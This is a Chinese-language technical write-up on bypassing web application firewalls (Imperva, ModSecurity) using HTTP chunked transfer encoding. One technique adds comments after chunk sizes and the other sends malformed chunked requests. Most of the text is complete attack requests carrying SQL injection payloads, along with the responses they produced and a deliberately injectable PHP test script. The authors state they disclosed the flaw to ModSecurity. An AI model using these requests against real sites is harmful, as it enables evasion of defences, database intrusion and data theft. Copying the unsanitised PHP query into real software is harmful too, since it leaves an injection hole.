技巧1 使用注釋擾亂分塊數據包
一些如Imperva、360等比較好的WAF已經對Transfer-Encoding的分塊傳輸做了處理,可以把分塊組合成完整的HTTP數據包,這時直接使用常規的分塊傳輸方法嘗試繞過的話,會被WAF直接識別并阻斷。
我們可以在[RFC7230]中查看到有關分塊傳輸的定義規范。
4.1. Chunked Transfer Coding
The chunked transfer coding wraps the payload body in order to
transfer it as a series of chunks, each with its own size indicator,
followed by an OPTIONAL trailer containing header fields. Chunked
enables content streams of unknown size to be transferred as a
sequence of length-delimited buffers, which enables the sender to
retain connection persistence and the recipient to know when it has
received the entire message.
chunked-body = *chunk
last-chunk
trailer-part
CRLF
chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF
chunk-data = 1*OCTET ; a sequence of chunk-size octets
The chunk-size field is a string of hex digits indicating the size of
the chunk-data in octets. The chunked transfer coding is complete
when a chunk with a chunk-size of zero is received, possibly followed
by a trailer, and finally terminated by an empty line.
A recipient MUST be able to parse and decode the chunked transfer
coding.
4.1.1. Chunk Extensions
The chunked encoding allows each chunk to include zero or more chunk
extensions, immediately following the chunk-size, for the sake of
supplying per-chunk metadata (such as a signature or hash),
mid-message control information, or randomization of message body
size.
chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token / quoted-string
The chunked encoding is specific to each connection and is likely to
be removed or recoded by each recipient (including intermediaries)
before any higher-level application would have a chance to inspect
the extensions. Hence, use of chunk extensions is generally limited
通過閱讀規范發現分塊傳輸可以在長度標識處加上分號“;”作為注釋,如:
9;kkkkk
1234567=1
4;ooo=222
2345
0
(兩個換行)
幾乎所有可以識別Transfer-Encoding數據包的WAF,都沒有處理分塊數據包中長度標識處的注釋,導致在分塊數據包中加入注釋的話,WAF就識別不出這個數據包了。
現在我們在使用了Imperva應用防火墻的網站測試常規的分塊傳輸數據包:
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1 and
3
2=2
0
(兩個換行)
返回的結果如下圖所示。
可以看到我們的攻擊payload “and 2=2”被Imperva的WAF攔截了。
這時我們將分塊傳輸數據包加入注釋符。
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1 and
3;test44444
2=2
0
(兩個換行)
返回的結果如下圖所示。
可以看到Imperva已經不攔截這個payload了。
技巧2 Bypass ModSecurity
眾所周知ModSecurity是加載在中間件上的插件,所以不需要理會解析http數據包的問題,因為中間件已經幫它處理完了,那么無論使用常規的分塊還是加了注釋的分塊數據包,ModSecurity都能直接獲取到完整的http數據包然后匹配危險關鍵字,所以一些基于ModSecurity做的WAF產品難道就不受影響嗎?
接下來我們在Apache+ModSecurity環境做測試。
sql.php代碼如下:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
echo $row['name'] . " " . $row['password']."n";
}
mysql_close($con);
print "========GET==========n";
print_r($_GET);
print "========POST==========n";
print_r($_POST);
?>
<a href="sqli.php?id=1"> sdfsdf </a>
ModSecurity加載的規則攔截了請求包中的關鍵字“union”。
下面我們的請求和返回結果如下:
請求:
http://10.10.10.10/sql.php?id=2%20union
返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
可以看到我們的“union”關鍵字被攔截了。
接下來我們傳輸一個畸形的分塊數據包看看。
請求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked
1
aa
0
(兩個換行)
返回:
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
[id] => 2 union
)
========POST==========
Array
(
)
可以看到雖然apache報錯了,但是因為apache容錯很強,所以我們提交的參數依然傳到了php,而我們的ModSecurity并沒有處理400錯誤的數據包,最終繞過了ModSecurity。
接下來我們把ModSecurity的規則改為過濾返回數據中包含“root”的字符串,然后在sql.php腳本中加入打印“root”關鍵字的代碼。
接著我們做如下測試:
請求:
http://10.10.10.10/sql.php?id=1
返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
因為sql.php腳本中返回了帶有“root”的關鍵字,所以直接就被ModSecurity攔截了。這時我們改為發送畸形的分塊數據包。
請求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16
3
123
1
0
(兩個換行)
返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
[id] => 1
)
========POST==========
Array
(
)
通過兩個測試可以發現使用畸形的分塊數據包可以直接繞過ModSecurity的檢測。這個問題我們在2017年4月已提交給ModSecurity官方,但是因為種種問題目前依然未修復。